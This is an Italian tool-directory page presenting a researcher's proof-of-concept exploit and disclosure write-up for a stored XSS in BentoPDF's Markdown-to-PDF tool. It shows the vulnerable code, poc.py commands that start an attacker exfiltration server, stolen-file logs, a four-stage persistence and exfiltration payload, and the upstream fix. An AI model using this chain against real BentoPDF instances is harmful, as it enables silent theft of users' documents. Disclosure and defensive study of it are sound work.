Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-41653 — Proof-of-concept exploit per CVE-2026-41653, una XSS persistente in BentoPDF che consente l'esfiltrazione silenziosa di file e il dirottamento della supply chain WASM. | Kitploit
Strumenti/GitHubGitHub/astaruf/cve-2026-41653
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebEsfiltrazione DatiSviluppo Payload
GitHubastaruf/cve-2026-41653

CVE-2026-41653

Proof-of-concept exploit per CVE-2026-41653, una XSS persistente in BentoPDF che consente l'esfiltrazione silenziosa di file e il dirottamento della supply chain WASM.

Vedi Repository
3 mesi faNon ancora revisionato
Sito web

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-41653: BentoPDF ≤ 2.8.2 - XSS persistente → Esfiltrazione di file

Scoperta e segnalata da: Astaruf

Analisi completa: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/

Avviso upstream: Avviso GHSA di alam00000/bentopdf

Voce NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-41653


Riepilogo

BentoPDF è una toolbox PDF self-hosted lato browser (comprimi, unisci, dividi, ruota, converti, Markdown-to-PDF, ecc.).

Lo strumento Markdown-to-PDF passa il Markdown fornito dall'utente attraverso markdown-it con html: true e inietta l'output renderizzato direttamente nel DOM tramite innerHTML senza alcuna sanitizzazione. Un attaccante che consegna un file .md appositamente creato ottiene l'esecuzione di JavaScript arbitrario nell'origine di BentoPDF.

Poiché BentoPDF è un'applicazione completamente lato client, ogni strumento (Compress PDF, Merge PDF, Split PDF, ecc.) carica ed elabora i file direttamente nel browser della vittima. Un singolo XSS è quindi sufficiente per esfiltrare silenziosamente ogni documento che la vittima apre in qualsiasi strumento durante la sessione.

root@kitploit:~
L'attaccante invia report.md (contenente )
  -> La vittima lo apre in Markdown-to-PDF
    -> markdown-it renderizza HTML grezzo (html: true)
      -> preview.innerHTML = html  (nessun DOMPurify)
        -> poc_payload.js caricato dal server dell'attaccante (nessuna CSP)
          -> FileReader + <input type=file> hook applicati a tutta l'app
            -> popup nascosto re-inietta gli hook a ogni navigazione tra strumenti
              -> ogni file aperto dalla vittima viene esfiltrato silenziosamente

Impatto

  • Esfiltrazione silenziosa di file. Ogni file che la vittima apre in qualsiasi strumento BentoPDF durante la sessione (PDF, immagine, documento) viene inviato via POST al server dell'attaccante.
  • Dirottamento della supply-chain WASM. Il payload sovrascrive localStorage['bentopdf:wasm-providers'], reindirizzando i download dei moduli WASM di PyMuPDF, Ghostscript e cpdf verso un host controllato dall'attaccante.
  • Persistenza tra pagine. Un popup nascosto 1×1 interroga window.opener e re-inietta gli hook sui file ogni volta che la vittima naviga verso uno strumento diverso, mantenendo l'accesso per l'intera sessione.
  • Avvelenamento della cache del Service Worker (solo HTTPS). Nelle distribuzioni HTTPS il payload registra un Service Worker e avvelena la cache bentopdf-*, aggiungendo un hook di esfiltrazione a ogni file /assets/*.js servito al browser oltre la sessione corrente.

Dettagli della vulnerabilità

1. Passaggio di HTML grezzo in markdown-it (CWE-79)

src/js/utils/markdown-editor.ts (righe 271–272):

root@kitploit:~
private mdOptions: MarkdownItOptions = {
  html: true,   // i tag HTML grezzi passano attraverso il parser markdown
  breaks: false,
  linkify: true,
  typographer: true,
};

Tag come ``, <svg>, <details> e qualsiasi attributo di gestione eventi (onerror, onload, ontoggle) vengono inoltrati al DOM così come sono.

2. Iniezione innerHTML non sanitizzata (CWE-116)

src/js/utils/markdown-editor.ts (righe 689–694):

root@kitploit:~
private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = html;  // HTML controllato dall'attaccante iniettato nel DOM
  this.renderMermaidDiagrams();
}

Nessuna libreria di sanitizzazione viene applicata tra markdown-it e innerHTML. Il browser analizza la stringa iniettata, incontra il gestore di eventi inline e lo esegue immediatamente.

3. Nessuna Content-Security-Policy

nginx.conf viene distribuito senza header Content-Security-Policy. Il JavaScript iniettato può caricare liberamente script esterni, effettuare richieste fetch() verso qualsiasi host e aprire finestre popup. Una CSP restrittiva avrebbe impedito la fase di caricamento degli script esterni anche con il sink intatto.

Proof of Concept

Avvio rapido

root@kitploit:~
# Avvia il server dell'attaccante per l'esfiltrazione
python3 poc.py --lhost <YOUR_IP> --lport 9999

# poc.py:
#   - genera il payload poc_report.md nella directory corrente
#   - inizia ad ascoltare i callback della vittima e i file esfiltrati

Invia poc_report.md alla vittima e chiedile di aprirlo in BentoPDF → Markdown-to-PDF. Il payload si attiva nel momento in cui l'anteprima viene renderizzata, e tutti i file che la vittima caricherà in futuro vengono esfiltrati al server dell'attaccante.

Opzioni

OpzionePredefinitoDescrizione
--lhostobbligatorioIP raggiungibile dal browser della vittima
--lport9999Porta di ascolto
--loot-dir./loot/Directory in cui vengono salvati i file esfiltrati
--log-filenessunoAggiunge tutti gli eventi a un file (codici ANSI rimossi)
--no-colordisattivatoDisabilita i colori ANSI nell'output del terminale

Demo

1. Server dell'attaccante avviato con --lhost e --lport. Il poc_report.md dannoso viene generato automaticamente.

root@kitploit:~
$ python3 poc.py --lhost 127.0.0.1 --lport 9999 

 ██████╗██╗   ██╗███████╗        ██╗  ██╗  ██╗  ██████╗  ███████╗ ██████╗
██╔════╝██║   ██║██╔════╝        ██║  ██║ ███║ ██╔════╝  ██╔════╝ ╚════██╗
██║     ██║   ██║█████╗   -2026- ███████║ ╚██║ ███████╗  ███████╗  █████╔╝
██║     ╚██╗ ██╔╝██╔══╝          ╚════██║  ██║ ██╔══██║  ╚════██║  ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗             ██║  ██║ ╚██████║  ███████║ ██████╔╝
 ╚═════╝  ╚═══╝  ╚══════╝             ╚═╝  ╚═╝  ╚═════╝  ╚══════╝ ╚═════╝

  BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
  PoC di Astaruf (https://nstsec.com)

========================================================================
  Server di esfiltrazione:    http://127.0.0.1:9999
  Payload:   http://127.0.0.1:9999/poc_payload.js
  Directory loot:  /home/kali/loot
========================================================================

  File .md dannoso pronto: /home/kali/poc_report.md

  Invialo alla vittima e chiedile di aprirlo nello strumento Markdown-to-PDF.
  Il payload si attiva non appena l'anteprima viene renderizzata.

========================================================================

  In attesa delle vittime...

2. La vittima apre lo strumento Markdown-to-PDF in BentoPDF.

Strumento Markdown-to-PDF

3. La vittima carica poc_report.md. L'anteprima viene renderizzata, `` non riesce a caricarsi, onerror si attiva. poc_payload.js viene recuperato dal server dell'attaccante senza alcuna CSP a bloccarlo.

report.md renderizzato

4. Il payload esegue le sue quattro fasi: dirottamento del provider WASM tramite localStorage, avvio del monitor popup, installazione degli hook su FileReader e sugli input file nella pagina corrente.

Hook installati e monitor popup

5. La vittima naviga verso Compress PDF. Il popup rileva la navigazione e re-inietta gli hook nella nuova pagina.

Vittima su Compress PDF

6. La vittima carica un PDF. Lo strumento lo comprime normalmente. I byte del file sono già stati inviati via POST al server dell'attaccante.

Esfiltrazione in corso

7. Output del server dell'attaccante da un'esecuzione verificata:

root@kitploit:~
[17:11:11] WASM HIJACK     { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON          { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON          { page: '.../index.html' }
[17:12:00] BEACON          { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED  Lorem_ipsum.pdf (23.7 KB)  ->  loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON          { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED  Lorem_ipsum.pdf (23.7 KB)  ->  loot/171358_Lorem_ipsum.pdf

Log del server dell'attaccante

8. Il file esfiltrato si apre come un PDF completo e valido, identico all'originale.

PDF esfiltrato

Fasi del payload

Il payload incorporato in poc.py esegue quattro fasi in sequenza:

FaseCosa faAmbito di persistenza
1Sovrascrive localStorage['bentopdf:wasm-providers'] per reindirizzare tutti i download dei moduli WASM all'attaccanteTra sessioni del browser
2Registra /sw.js, enumera /assets/*.js su tutte le pagine degli strumenti, avvelena la cache del Service Worker bentopdf-* con un hook di esfiltrazioneOltre la sessione del browser (solo HTTPS)
3Avvia un popup nascosto 1×1 che interroga window.opener.location.href e re-inietta gli hook sui file dopo ogni navigazione tra strumentiFinché la scheda BentoPDF è aperta
4Aggancia FileReader.prototype.readAsArrayBuffer e il listener change a livello di documento: ogni file toccato dalla vittima viene inviato via POST al server dell'attaccante /file?name=<filename>Pagina corrente

Correzione

Distribuita in BentoPDF v2.8.3. Lo sviluppatore ha esaminato l'intera base di codice oltre al sink originariamente segnalato e ha affrontato molteplici vettori correlati:

  1. DOMPurify applicato a tutti e tre i sink innerHTML in markdown-editor.ts, incluso il percorso SVG di Mermaid che utilizzava securityLevel: 'loose' e che è risultato in grado di bypassare il primo sanitizzatore.
  2. Mermaid ora viene eseguito con securityLevel: 'strict' e l'output SVG viene nuovamente sanitizzato con il profilo SVG di DOMPurify.
  3. XSS su file.name neutralizzato in circa 8 pagine di strumenti (Deskew, Form Filler, Remove Annotations, ecc.) dove i nomi dei file venivano precedentemente concatenati nell'HTML senza sanitizzazione.
  4. Allowlist dei provider WASM introdotta: gli URL non attendibili in localStorage['bentopdf:wasm-providers'] vengono scartati al caricamento.
  5. Versione della cache del Service Worker incrementata con un elenco di host attendibili consapevole dell'integrità.
  6. Set completo di header di sicurezza applicato in nginx.conf, inclusa la Content-Security-Policy.

Correzione minima per il sink originariamente segnalato:

root@kitploit:~
import DOMPurify from 'dompurify';

private updatePreview(): void {
  if (!this.editor || !this.preview) return;
  const markdown = this.editor.value;
  const html = this.md.render(markdown);
  this.preview.innerHTML = DOMPurify.sanitize(html);
}

Header CSP aggiunto in nginx.conf:

root@kitploit:~
add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;

Cronologia

DataEvento
2026-04-02Vulnerabilità scoperta
2026-04-02Segnalata privatamente al manutentore
2026-04-17Il manutentore ha confermato
2026-04-17Correzione implementata nella build edge e ritestata
2026-04-18v2.8.3 rilasciata con credito pubblico
2026-04-21Avviso GHSA pubblicato
2026-04-22CVE-2026-41653 assegnata

Riferimenti

  • Repository ufficiale di BentoPDF
  • Note di rilascio di BentoPDF v2.8.3
  • CWE-79: Improper Neutralization of Input During Web Page Generation
  • CWE-116: Improper Encoding or Escaping of Output
  • Note sulla sicurezza di markdown-it relative a html: true
  • DOMPurify
  • MDN: Content Security Policy

Disclaimer

Questo materiale è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. Utilizzalo solo contro istanze di BentoPDF di tua proprietà o per le quali hai esplicita autorizzazione scritta al test. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non si assume alcuna responsabilità per un uso improprio.

Licenza

MIT

Scarica lo strumento